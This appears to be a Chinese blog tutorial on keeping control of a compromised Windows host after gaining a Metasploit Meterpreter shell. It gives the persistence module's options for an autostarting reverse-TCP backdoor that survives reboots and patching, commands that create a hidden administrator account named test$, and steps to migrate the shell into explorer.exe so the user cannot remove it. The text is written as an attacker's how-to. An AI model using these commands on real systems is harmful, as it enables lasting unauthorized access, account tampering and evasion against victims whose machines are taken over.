在使用Msf获取目标SHELL后,经常面临着反弹会话在目标主机关机或关闭程序后的自动关闭问题。本文将详细介绍如何通过建立持久性连接解决这一挑战。
🚸使用Persistence模块
通过使用Persistence模块,我们可以在目标计算机上安装一个永久性后门。即使目标计算机修复了漏洞,我们仍然能够通过这个连接来保持对目标计算机的控制。
常用参数:
- -X:开机自启动
- -i:payload重连的间隔时间
- -p:反向连接端口号
- -r:反向连接IP地址
🚧详细信息
bash复制meterpreter > run persistence -h
Meterpreter脚本,用于在目标主机上创建持久性后门。
OPTIONS:
- -A:自动启动匹配的exploit/multi/handler以连接到代理
- -L <opt>:在目标主机上写入payload的位置,如果没有指定,默认为%TEMP%
- -P <opt>:要使用的payload,默认为windows/meterpreter/reverse_tcp
- -S:在启动时自动将代理设置为服务(具有SYSTEM权限)
- -T <opt>:要使用的备用可执行文件模板
- -U:用户登录时自动启动代理
- -X:系统启动时自动启动代理
- -h:帮助菜单
- -i <opt>:每次连接尝试之间的时间间隔
- -p <opt>:Metasploit运行系统监听的端口
- -r <opt>:运行Metasploit的系统的IP地址
⛵建隐藏用户
获取目标主机的远程命令行shell时,如果出现错误,可能是因为目标主机限制了cmd.exe的访问权限。可以使用migrate注入到管理员用户进程中再试一试。在cmd下输入以下命令:
bash复制# 创建用户($符号,可以起到隐藏创建用户的目的) net user test$ 123456 /add # 将创建的用户添加到管理员组 net localgroup administrators test$ /add
✈️进程迁移
- 在Meterpreter下输入
ps
(获取目标机正在运行的进程,记住目标进程的pid xxxx) - 输入
getpid
命令(查看Meterpreter shell的进程号) - 输入
migrate xxxx
(将Meterpreter shell的pid调到xxxx里相对稳定应用的进程里) - 最后用
getpid
再次查看是否更换成功。
🛰️上线后自动化迁移指定进程
在设置payload为windows/meterpreter/reverse_tcp
和设置完端口与HOST后,执行如下命令:
bash复制set autorunscript migrate -n explorer.exe
意思是上线后将shell进程迁移到资源管理器,以防止被用户删除并避免丢失目标。
暂无评论内容